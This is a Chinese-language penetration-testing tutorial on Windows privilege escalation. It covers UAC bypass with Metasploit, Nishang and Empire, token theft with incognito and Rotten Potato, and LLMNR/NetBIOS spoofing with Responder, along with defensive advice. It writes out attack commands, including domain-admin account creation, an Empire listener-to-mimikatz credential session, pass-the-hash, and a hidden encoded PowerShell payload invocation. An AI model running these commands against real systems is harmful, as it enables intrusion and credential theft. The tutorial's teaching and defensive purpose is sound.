內網滲透基石篇--權限提升
前言:?????????? ???? ?? ?? ? 心田常植繁花,生命便時時如沐初夏。
一、 繞過UAC提權分析及規范
1.基本概念
用戶帳戶控制(User Account Control) 是Windows Vista(及更高版本操作系統)中一組新的基礎結構技術,可以幫助阻止惡意程序(有時也稱為“惡意軟件”)損壞系統,同時也可以幫助組織部署更易于管理的平臺。
如果計算機的操作系統版本是windows VIsta或更高,在權限不夠的情況下,訪問系統磁盤的根目錄、windows目錄、Program FIles 目錄,以及讀、寫系統登陸數據庫的程序等操作,都需要經過UAC 的認證才能運行。
配置windows update
增加/刪除賬戶
更改賬戶類型
更改UAC的設置
安裝ActiveX
安裝/卸載程序
安裝設備驅動程序
將文件移動/復制到Program FIles或WIndows 目錄下
查看其他用戶的文件夾
UAC有如下四種設置要求:
始終通知:這是最嚴格的設置,每當有程序需要使用高級別的權限時都會提示本地用戶
僅在程序試圖更改我的計算機時通知我:這是UAC的默認設置。當本地Windows程序要使用高級別的權限時,不會通知用戶。但是,當第三方程序要使用高級別的權限時,會提示本地用戶
僅在程序試圖更改我的計算機時通知我(不降低桌面的亮度):與上一條設置的要求相同,但在提示用戶時不降低桌面的亮度
從不提示:當用戶為系統管理員時,所有程序都會以最高權限運行
UAC原理:
界面操作是:通過詢問用戶是否授權給應用程序,使用硬盤驅動器和系統文件的權力。以達到阻止惡意程序(“惡意軟件”)損壞系統的效果。
內部邏輯是:
在觸發 UAC 時,操作系統會創建一個consent.exe進程,用來確定是否創建具有管理員權限的進程(通過白名單和用戶選擇判斷),然后creat process。請求進程將要請求的進程cmdline和進程路徑,通過LPC接口傳遞給appinfo的RAiLuanchAdminProcess函數,該函數首先驗證路徑是否在白名單中,并將結果傳遞給consent.exe進程,該進程驗證被請求的進程簽名,以及,發起者的權限,是否符合要求,然后決定是否彈出UAC框,讓用戶確認。這個UAC框會創建新的安全桌面,遮擋之前的界面。同時這個UAC框進程是SYSTEM賬戶的進程,其他標準用戶進程無法與其通信交互。用戶確認之后,會調用CreateProcessAsUser函數,以管理員權限啟動請求的進程。
所以,病毒木馬想要實現高權限操作,就不得不繞過UAC彈窗,在沒有通知用戶情況下, 悄悄地將普通權限,提升為管理員權限啟動進程,從而使程序得到高權限的操作。
2 bypassusac 模塊
1.原理:為了遠程執行目標的exe或者bat可執行文件繞過此安全機制,以此叫BypassUAC(不進行彈窗直接運行執行文件)
2.實驗1:
環境:win7 /192.168.0.8
kali:192.168.0.1
1.查看目標ip地址

2.使用exploit/windows/local/bypassuac模塊

3.設置payload

4.獲得權限,查看uid。

3 RunAS模塊
1.使用windows/local/ask模塊


2.然后執行

3.獲得權限查看目標uid。

4.針對繞過UAC提權的防御措施
在企業網絡環境中,防止繞過UAC的最好方法是不讓內網機器的使用者擁有管理員權限,從而降低系統遭受攻擊的可能性。
在家庭網絡環境中,建議使用非管理員權限進行日常活動,使用本地管理員權限登陸的用戶,要將UAC設置成“始終通知”。

二.Nishang 中的InvoPsUACme模塊
項目下載地址:https://github.com/samratashok/nishang
應用場景:假設已經將nishang下載到受害主機接下來需要進行UAC提權
使用sysprep方法和默認的Payload執行
Invoke-PsUACme -Verbose
打開受害者主機的powershell,執行命令:Invoke-PsUACme,執行成功后會彈窗一個窗口,
窗口是超級管理員權限,可以添加賬號

//使用oobe方法和默認的Payload執行 Invoke-PsUACme -method oobe -Verbose //使用-Payload參數可以自行指定要執行的Payload Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload"
三.Empire 中bypassuac模塊
1.bypassuac模塊
usemodule privesec/bypassuac
set Linstener shuteer
exexute

2.bypassuac_wscript模塊
工作原理:使用C:\Windows\wscript.exe執行payload,即繞過UAC,以管理員權限執行Payload。可惜的是,這個模塊只能在win7的機器上使用,而且部分殺毒軟件會報毒!
usemodule privesc/bypassuac_wscript set Listener shuteer execute

3.常見的UAC繞過方法
白名單機制提權
DLL劫持
利用CLR繞過
COM組件劫持
利用wusa工具的extract選項 模擬可信目錄繞過UAC
利用IsecurityEditor COM接口關閉UAC
利用應用程序兼容數據庫的特性來繞過UAC
Windows自身漏洞提權 …
四. 令牌竊取分析及規范
令牌是指系統中臨時密鑰,相當于賬戶和密碼,用于決定是否允許當前請求及判斷當前請求是屬于哪個用戶的。
令牌的最大特點是隨機性和不可預測性。一般攻擊者或者軟件都無法將訪問猜測出來。訪問令牌代表訪問控制操作實體的系統對象.密碼令牌也叫做認證令牌或硬件硬盤。
偽造令牌攻擊的核心是Kerberos協議。Kerveros是一種網絡認證協議,其設計目標是通過密鑰系統為客戶機/服務器應用程序提供強大的認證服務。

流程:
1.向認證服務器發送請求,要求得到證書。
2.認證服務器收到請求后,將包含客戶端密鑰的加密證書發送給客戶端。該證書包含服務器Ticket(包含由服務器密鑰加密的客戶機身份和一份會話密鑰)和一個臨時加密密鑰(又稱為會話密鑰,Session Key)。當然,認證服務器也會向服務器發送一份該證書,使服務器能夠驗證登錄的客戶端的身份。
3.客戶端將Ticket傳送給服務器。如果服務器確認該客戶端的身份,就允許它登錄服務器。
客戶端登錄服務器后,攻擊者就能通過入侵服務器來竊取客戶端的令牌。
1.令牌竊取
假冒令牌可以假冒一個網絡中的另一個用戶進行各種操作。令牌包括登錄會話的安全信息,如用戶身份識別、用戶組合用戶權限。當一個用戶登錄Windows系統時,它被給定一個訪問令牌作為它認證會話的一部分。例如,一個入侵用戶可能需要域管理員的操作權限的時候,當它使用令牌便可假冒域管理員進行工作(攻擊)。
令牌(Token):令牌(token)是系統的臨時秘鑰,相當于賬號和密碼,用來決定是否允許這次請求和判斷這次請求是屬于哪一個用戶的。它允許你在不提供密碼或其他憑證的前提下,訪問網絡和系統資源,這些令牌將持續存在于系統中,除非系統重新啟動。令牌最大的特點就是隨機性,不可預測,黑客或軟件無法猜測出令牌。
令牌分類
訪問令牌(Access Token): 表示訪問控制操作主體的系統對象
會話令牌(Session Token): 交互會話中唯一的身份標識符
密保令牌(Security Token): 又叫做認證令牌或硬件令牌,是一種計算機身份校驗的物理設備,例如U盾
Windows訪問令牌
Windows 訪問令牌(Access Tokens) 是一個描述進程或線程安全上下文的對象。令牌所包含的信息是與該用戶賬戶相關的進程或線程的身份和權限信息。當用戶登錄時,系統通過將用戶輸入的密碼與儲存在安全數據庫中的密碼進行對比。若密碼正確,系統將生成一個訪問令牌。之后,該用戶執行的每個進程都會擁有一個該訪問令牌的副本。
目前訪問令牌分為兩種令牌:
主令牌(每一個進程都具有一個唯一的主令牌,進程通過主令牌被開啟)
模擬令牌(在默認的情況下,當線程被開啟的時候,所在進程的主令牌會自動附加到當前線程上,作為線程的安全上下文。而線程可以運行在另一個非主令牌的訪問令牌下執行,而這個令牌被稱為模擬令牌。而指定線程的模擬令牌的過程被稱為模擬)
主令牌是與進程相關的;模擬的令牌是與模擬令牌的線程相關的。主令牌和模擬令牌,都會在系統重啟或者關機后全部清除。
當線程與安全對象進行交互或嘗試執行需要特權的系統任務時,系統使用訪問令牌來標識用戶。訪問令牌包含以下信息:
用戶帳戶的安全標識符(SID)
用戶帳戶所屬的用戶群的SIDs
一個logon SID,標識當前登錄會話
用戶或用戶群的特權清單
所有者的SID
基本群的SID
當用戶創建可安全對象(securable object)且沒有給出安全描述符時,系統使用的缺省的自主訪問控制列表(DACL)
訪問令牌資源
是否為primary或impersonation token
限制性SIDs的可選列表
當前impersonation級別
其他統計
攻擊者可以使用訪問令牌在不同的用戶或系統安全性上下文下進行操作,以執行操作并逃避檢測。
攻擊者可以使用內置的Windows API函數來復制現有進程中的訪問令牌。這被稱為令牌竊取。
攻擊者必須已經在特權用戶上下文(即管理員)中才能竊取令牌。攻擊者通常使用令牌竊取將其安全上下文從管理員級別提升到SYSTEM級別。如果帳戶對遠程系統具有適當的權限,則對手可以使用令牌作為該令牌的帳戶向遠程系統進行身份驗證。
列舉令牌只能列出當前用戶和比當前用戶權限更低用戶的令牌,例如當前權限是system或者是administrator,那么我們就可以看到系統中所有的令牌。
Windows的Access Token有兩種類型
Delegation Token: 授權令牌,它支持交互式會話登錄(例如本地用戶直接登錄、遠程桌面登錄訪問)
Impresonation Token: 模擬令牌,它是非交互的會話(例如使用net use訪問共享文件夾)。
注:訪問令牌的竊取與利用至少需要administrator權限。如下先用域普通賬號的權限進行令牌竊取
實驗:
進入session中
輸入use incognito
輸入list_tokens -u

NT AUTHORITY\LOCAL SERVICENT AUTHORITY\NETWORK SERVICENT AUTHORITY\SYSTEMWIN-D2GN1OUFTMB\ailx04
得到模擬令牌:
NT AUTHORITY\ANONYMOUS LOGO
impersonate_token WIN-D2GN1OUFTMB\\admin

再來一個system權限,whoami顯示的就是system
注意這里的雙引號

2. Rotten Potato 本地提權分析
如果目標系統中存在有效的令牌,可以通過Rotten Potato程序快速模擬用戶令牌來實現權限的提升。首先輸入“use incognito”命令,然后輸入“list_tokens -u”命令,列出可用的令牌
下載完成后,RottenPotato目錄下會有一個rottenpotato.exe可執行文件。執行如下命令,將 rottenpotatocxe上傳列日標機器中
這兩種不同于初始的 Potato,它是通過 DCOM CALL 來使服務向攻擊者監聽的端口發起連接并進行 NTLM 認證
Rotten Potato 和 Juicy Potato 幾乎是同樣的原理,后者在前者的基礎上完善。
需要理解的幾個知識:
使用 DCOM 時,如果以服務的方式遠程連接,那么權限為 System,例如 BITS 服務
使用 DCOM 可以通過 TCP 連接到本機的一個端口,發起 NTLM 認證,該認證可以被重放
LocalService 用戶默認具有 SeImpersonate 和 SeAssignPrimaryToken 權限
開啟 SeImpersonate 權限后,能夠在調用 CreateProcessWithToken 時,傳入新的 Token 創建新的進程
開啟 SeAssignPrimaryToken 權限后,能夠在調用 CreateProcessAsUser 時,傳入新的 Token 創建新的進程


3 添加域管理員
net user sec 123456Bo /ad /domain #添加域用戶2net group “domain admins” sec /ad /domain #添加到域管理員組3net group “domain admins” /domain #查看域管理員組45同樣在meterpreter中可以使用incognito來模擬域管理員,然后通過迭代系統中所有可用的身份驗證令牌來添加域管理員6add_user sec 12345Bo -h 1.1.1.87net group “domain admins” sec -h 1.1.1.8
4.Empire 下的令牌竊取分析
Empire: listeners) > uselistener http2
(Empire: listeners/http) > info3
(Empire: listeners/http) > set Host http://1.1.1.64
(Empire: listeners/http) > set Port 88885
(Empire: listeners/http) > set Name sec6
(Empire: listeners/http) > execute7
(Empire: listeners) > launcher powershell sec89
(Empire: agents) > interact N78Z965310
(Empire: N78Z9653) > mimikatz11
(Empire: N78Z9653) > creds12
(Empire: N78Z9653) > pth 213
(Empire: N78Z9653) > revtoself #恢復令牌權限


5.針對令牌竊取提權的防御措施
及時安裝微軟推送的補丁
對來路不明的·或者有危險的軟件,既不要在系統·中使用,也不要在虛擬機中使用。
對令牌的時效性進行限制。
對于令牌,應采取加密存儲及多重驗證保護
使用加密鏈路ssl/tls傳輸令牌,以防止被中間人竊聽。
.查找和防御令牌竊取攻擊
為了防止域管理員的令牌被竊取,應該禁止域管理員登錄其它主機。如果登錄了,使用完后應該及時重啟電腦,從而把令牌清除。
對系統進行審計。
訪問令牌操作利用了內置Windows功能。訪問令牌的使用被認為是Windows安全的最佳做法,因此禁止使用有問題的功能不是可行的解決方案。
但是,監視訪問令牌操縱所必需的Windows 函數的使用可以幫助檢測此攻擊。應該監視以下操作以檢測訪問令牌操縱:
runas(命令行審計)
LogonUser(API調用)
DuplicateTokenEx(API調用)
ImpersonateLoggedOnUser(API調用)
雖然這些命令和API調用可以用于合法功能,但監視它們的使用并調查使用它們的進程可以幫助檢測執行訪問令牌操縱的嘗試。
若要啟用審核過程創建策略,請編輯以下組策略:
策略位置:> 策略 > Windows 設置的計算機配置 > 安全設置 > 高級審核配置 > 詳細跟蹤
策略名稱:審核進程創建
支持:Windows 7 及更高版本
————————————————
五. 無憑證條件下的權限獲取分析及防范
LLMNR和NEtBIos欺騙攻擊的基本概念
1.LLMNR
本地鏈路多播名稱解析(LLMNR)是一種域名系統數據包格式。當局域網中的DNS服務器不可用時,DNS客戶端會使用LLMNR解析本地網段中機器的名稱,直到 DNS服務器恢復正常為止。從 Windows Vista版本開始支持LLMNR。LLMNR支持IPv6。
LLMNR的工作流程如下:
1.DNS客戶端在自己的內部名稱緩存中查詢名稱。
2.如果沒有找到,主機將向主 DNS發送名稱查詢請求。
3.如果主DNS沒有回應或者收到了錯誤的信息,主機會向備DNS發送查詢請求。
4.如果備DNS沒有回應或者收到了錯誤的信息,將使用LLMNR進行解析。
5.主機通過UDP協議向組播地址224.0.0.252的5355端口發送多播查詢請求,以獲取主機名所對應的P地址。查詢范圍僅限于本地子網。
6.本地子網中所有支持 LLMNR 的主機在收到查詢請求后,會對比自己的主機名。如果不同,就丟棄;如果相同,就向查詢主機發送包含自己IP地址的單播信息。
2. NETBIOS
是一種網絡協議,一般用在由十幾臺計算機組成的局域網中(根據NetBIOS協議廣播獲得計算機名稱,并將其解析為相應的IP地址)。在Windows NT 以后版本的所有操作系統中均可使用NetBIOS。但是,NetBIOS不支持IPv6。
NetBIOS提供的三種服務如下。
NetBIOS-NS(名稱服務):主要用于名稱注冊和解析,以啟動會話和分發數據包。該服務需要使用域名服務器來注冊NetBIOS 的名稱,默認監聽UDP137端口,也可以使用TCP137端口。
Datagram Distribution Service(數據報分發服務):無連接服務。該服務負責錯誤檢測和恢復,默認監聽UDP 138端口。
Session Service(會話服務):允許兩臺計算機建立連接,允許電子郵件跨越多個數據包進行傳輸,提供錯誤檢測和恢復機制。默認使用 TCP 139端口。
3. NET-NTLM hASH
Net-NTLM hash與 NTLM Hash不同。
NTLM Hash是指Windows操作系統的Security Account Manager中保存的用戶密碼散列值。NTLMHash通常保存在Windows的SAM文件或者NTDS.DIT數據庫中,用于對訪問資源的用戶進行身份驗證。
Net-NTLM Hash是指在網絡環境中經過NTLM認證的散列值。挑戰/響應驗證中的“響應”就包含Net-NTLM Hash。使用Responder抓取的通常就是Net-NTLM Hash。攻擊者無法使用該散列值進行哈希傳遞攻擊,只能在使用Hashcat等工具得到明文后進行橫向移動攻擊。
4.LLMNR和NETBIOS欺騙攻擊分析
假設目標網絡的 DNS服務器因發生故障而無法提供服務時,會退回 LLMNR和 NBT-NS進行計算機名解析。下面使用Responder 工具進行滲透測試。
Responder 是監聽 LLMNR和 NBT-NS協議的工具之一,能夠抓取網絡中所有的 LLMNR和NBT-NS 請求并進行響應,獲取最初的賬戶憑證。
Responder可以利用內置SMB認證服務器、MSSQL認證服務器、HTTP認證服務器、HTTPS認證服務器、LDAP認證服務器、DNS服務器、WPAD代理服務器,以及FTP、POP3、IMAP、SMTP等服務器,收集目標網絡中計算機的憑據,還可以通過Multi-Relay 功能在目標系統中執行命令。
1.下載和運行

2. 監聽模式

3. 滲透測試

在滲透測試中使用Responder 開啟回應請求功能,Responuer會自動回應客戶端的請求并聲明自己就是被輸人了錯誤計算機名的那臺機器,然后嘗試建立SMB連接。客戶端項發送自已的Nt-NTeLM Hash進行身份驗證,此時將得到目標機器的Net-NTLM Hash
4. 最后使用hashcat解密

總結:
本文主要從內網權限(UAC)出發,主要介紹一些基本工具和理解一些內網權限方面的基本知識概念,然后做了幾個實驗來練習和使用工具。